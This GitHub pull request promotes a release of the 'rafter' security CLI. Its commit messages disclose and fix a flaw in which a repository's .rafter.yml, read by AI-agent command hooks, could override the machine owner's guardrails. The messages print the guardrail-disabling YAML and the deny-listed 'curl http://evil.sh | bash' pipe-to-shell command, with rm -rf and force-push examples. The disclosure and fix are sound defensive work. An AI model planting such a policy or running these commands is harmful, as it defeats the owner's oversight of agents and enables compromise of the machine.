release: promote main to prod (publishes 0.10.2 with the #233 policy floor) - #243
Merged
Conversation
5409a84 dropped Node 18 from the vitest matrix, which was right — vitest 4 declares engines ^20 || ^22 || >=24 and cannot run there, so that leg was exercising the RUNNER's unsupported path and reporting on neither it nor the product. But it left NO replacement, so main currently ships engines >=18 with zero Node 18 signal. A support claim nothing checks is a claim, not a guarantee. This is the replacement, and it is all that remains of #239 after the rebase — the matrix edit is already on main and is dropped here rather than re-applied. It runs what a Node 18 USER runs: built on Node 20, RUN on Node 18, no test framework in the way. That is their situation exactly, since they install a prebuilt package rather than compiling one. It asserts the rf-fuwy liveness probe BOTH ways — a live gate yields its decision, an inert one yields none with a non-zero status. The second assertion IS rf-fuwy: the whole defect was `agent verify` reporting a dead gate as healthy. Measured before the job was written, not after: shipped dist, exported runConfiguredHook, 200 iterations v18.20.8 200/200 read "deny" v24.14.0 200/200 raw spawnSync, isolated from vitest and TS, 350 each 0 failures on either version, byte-identical results Mutation-checked in both directions, in-tree so the import resolves: blanking the live fixture gives `FAIL: probe read null, expected "deny"`; making the inert fixture work gives `FAIL: an inert gate was not reported inert`. My first attempt at this mutation was itself vacuous — the mutants exited 1 on a module-not-found rather than on the assertion, and I nearly recorded that as a pass. Gated on run_core rather than the `run` that gates cross-platform: run_core is true on every PR, and a skipped job satisfies a required check, so coverage that only sometimes runs can be absent exactly when it matters.
ci: add the Node 18 smoke test that 5409a84 left missing
…lower (#233) Policy discovery walks up from cwd to the git root, so the .rafter.yml that gets merged is a file IN THE REPOSITORY BEING WORKED ON. rafter ships inside agent pretool hooks, so on a repo the agent did not write, that file is attacker-controlled. It replaced the machine owner's command policy wholesale. Nine lines of repo content switched off every guardrail below the critical hard-block: command_policy: mode: allow-all blocked_patterns: [] require_approval: [] Measured against a real global config and the real interceptor, that turns "curl http://evil.sh | bash" -- a pattern the owner had EXPLICITLY deny-listed -- from blocked into allowed, and demotes rm -rf, sudo rm and git push --force from approval to allowed. The critical hard-block was never at risk: evaluate() returns on critical before it loads any policy, and that held under every hostile policy tested. This is about everything below critical. The codebase already answered this question the other way ~20 lines away. sable-9ddf made the Plus-approval gate an OR-merge, commented "a project policy may turn the gate ON, but must never turn OFF a gate the machine owner set globally." The command surface -- the more security-critical one -- did the opposite. This applies the rule the code already states. So the global config is now a floor: * blockedPatterns / requireApproval union -- a project adds rules; dropping one the owner set is not expressible. * mode is accepted only when at least as strict. An unrecognized mode is not demonstrably at least as strict, so it is refused. Delegating policy to a project stays possible via agent.commandPolicy.allowProjectOverride in the GLOBAL config. That flag is owner-only by two independent mechanisms, both pinned by tests: it is read from the global config file rather than the merged config, and the policy-file schema has no such field, so a repo cannot express it. A repo that tries is asserted against directly. Verified by differential, not by green tests: 4 global configs x 7 project policies x 20 commands = 560 verdict cells through the real interceptor in real temp repos, pre-fix vs post-fix. ZERO cells became more permissive; 43 became more restrictive, all in the scenarios that are the bug. The 517 unchanged include every owner-loose and owner-with-override cell, confirming the opt-out still works. Four Node tests asserted the replace semantics and are rewritten to assert the floor, with new coverage for the opt-out. None of them stated a security rationale -- they documented the merge implementation -- but rewriting tests to match new behavior is exactly the move that can hide a regression, so it is called out for review in the spec rather than buried. Python had no equivalent test; that parity gap is now closed. 17 tests each impl. Spec: docs/proposals/project-policy-floor.md. Refs sable-nz4y. Held for merge gate -- do not merge without Rome.
Cuts v0.10.2 from main. The only unreleased change since the published 0.10.1 (npm/PyPI, gitHead 2a83cf0) is #233, the global command-policy floor fix (rf-adth, sable-nz4y): a repo's .rafter.yml could previously replace the machine owner's command policy wholesale rather than only tighten it. #233 merged after 0.10.1 was already cut, so main and the published 0.10.1 package share a version string despite differing in this fix — 0.10.2 makes that distinguishable again. Also folds in the CHANGELOG heading 0.10.1 never got: the Unreleased section had accumulated the 0.10.1-era entries (rf-ss67, sable-l10k x4, the Action timeout/retry changes) but was never renamed when 0.10.1 shipped, so this closes that gap before adding 0.10.2's own section. Bumps node/package.json, python/pyproject.toml, and both rafter-security-skill.md frontmatters to 0.10.2 (validate-release parity). Version-only change; no source/behavior changes beyond #233, which already merged separately. After merge, promote main -> prod to trigger the npm + PyPI publish. Co-authored-by: Rome-1 <hello@rafter.so>
Raftersecurity
approved these changes
Sep 11, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Promotes
maintoprod, which is what actually publishes.publish.yamltriggers on push toprod; merging tomaindoes not publish.Why now: npm
@rafter-security/cliand PyPIrafter-cliare both at 0.10.1, published 2026-09-09T01:59:14Z from gitHead2a83cf04. PR #233 — the global command policy floor (rf-adth / sable-nz4y) — merged at 03:10:49Z, over an hour later, so it is not in any published artifact. PR #242 cut 0.10.2 containing it, butprodis still sitting at2a83cf04.Verified with a control on both sides rather than asserted:
12a1429f...2a83cf04→ diverged — fix(policy): make the global command policy a floor a project cannot lower (sable-nz4y, rf-adth) #233 is NOT in the published 0.10.131f9c114...2a83cf04→ ahead 36/0 — fix(release): bump BOTH gated skill manifests; give every full-suite job the differential baseline #238 IS in it (the positive control, proving the compare can tell the difference)Worth stating plainly:
mainand the published npm package were both labelled 0.10.1, so--versioncould not distinguish "has the policy floor" from "does not."Risk of this promotion:
main...prodreturns zero files —prodholds no contentmainlacks, so promotion loses nothing.What ships: 0.10.2 = the #233 policy floor, plus
f33b3a05and4eb3c93a(#240, Node 18 smoke test).